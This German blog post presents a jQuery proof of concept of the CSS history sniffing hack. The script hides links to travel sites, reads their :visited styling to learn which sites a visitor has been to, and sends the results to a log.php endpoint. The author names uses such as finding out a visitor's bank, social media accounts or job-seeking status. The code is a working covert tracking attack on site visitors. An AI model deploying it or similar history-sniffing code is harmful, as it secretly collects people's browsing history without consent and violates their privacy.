jQuery CSS History Hack
Vielen Webdesignern und -Entwicklern dürfte der CSS History Hack bereits seit Jahren bekannt sein. Nach der letzten Folge seoFM (wow baby), dem korrespondierenden Blogpost “Conversion Optimierung mittels Usererkennung” vom Bösen SEO, Beiträgen auf Heise / Spiegel / IT-Republik und einer neuen Version, die vor kurzem publiziert wurde, kam ich nicht umher noch einmal kurz mit dem Hack herum zuspielen.
- Orig.-Demo: CSS-history-hack
- Orig.-BlogPost: i-know-where-youve-been
- Neu, CSS-Only: css-history-hack-in-firefox-without-javascript
- startpanic.com
- whattheinternetknowsaboutyou.com
- didyouwatchporn.com
- caughtyouwatching.com
Alright then – gibt’s da schon was für jQuery? Nein? Kay…I’m in!
Ich habe mir mal das Beispiel vom Bösen SEO rausgeschnappt (“Wenn ich eine Hotelwebsite habe und gerne Werbebanner passend zu den Reisevorlieben des Besuchers anzeigen möchte – Bahn/Flugzeug, dann könnte man usw.”).
Im Grunde kann man damit alles Mögliche machen, wenn man genug kriminelle Energie hat – wie es die Behörden nennen würden ;o). Man kann das Bankinstitut herausfinden, den Usernamen bei SocialMedia-Portalen, ob Filesharer, arbeitssuchend oder nicht, die Altersgruppe oder einfach nur besuchte Konkurrenzwebsites.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | /** * jquery.css.history.hack * * did: * - ff (tested 3.6) * - ie (tested 8.0) * - opera (tested 9.6) * - chrome (tested 4.0) * didn't: * - safari (tested 4.0) */ jQuery(function($) { var urls = [ 'http://www.bahn.de/p/view/index.shtml', 'http://www.expedia.de/', 'http://www.swoodoo.com/de/', 'http://www.opodo.de/' ], $testarea = $( '<div id="testarea">' +' <style type="text/css">' +' #testarea {display:none;}' +' #testarea a{text-decoration:none;}' +' #testarea a:visited{text-decoration:underline;}' +' </style>' +' <a href="'+urls.join('">x</a><a href="')+'">x</a>' +'</div>' ).appendTo('body'); urls = []; $testarea.find('a').each(function() { if( $(this).css('textDecoration') === 'underline' ) { urls.push( $(this).attr('href').match(/[^/]+/g)[1] ); } }).end().remove(); $.get('log.php',{'domains_num':urls.length,'domains':urls}); }); |
Das ist jetzt mal grob hingekritzelt, tuts aber. Habe ziemlich konfus dreingeschaut warum die meisten bekannten Versionen für jeden Link eine extra CSS-Regel festlegen und den Hack nur via Hidden-IFrame userfreundlich durchführen können. Auch wenn man mit obigem jQuery-Script im unteren dreistelligen URL-Bereich bleiben sollte, wundert’s mich doch nicht dass die anderen so extrem langsam sind…
Es versteht sich übrigens wohl von selbst, warum ich da jetzt kein Plugin draus gemacht habe. Auch wenn es nur noch zwei Handgriffe wären… Ihr sollt etwas lernen und freudig mit mir diskutieren statt Quatsch zu machen *zwinker*
Ein kreativer Kommentar
Aufgrund interner Umstrukturierungsmaßnahmen ist es uns z.Zt. leider nicht
möglich auf neue Kommentare zu reagieren. Wir bitten dies zu entschuldigen.
Bei dringenden Rückfragen suchen Sie bitten den direkten Kontakt zu uns.
[…] Effektive Steigerung der Conversion Rate mittels Browserhistory. Seit letzte Woche bei seoFM über das Thema berichtet wurde, hat es viele nicht mehr losgelassen: die Idee, das Proof of Concept mit jQuery […]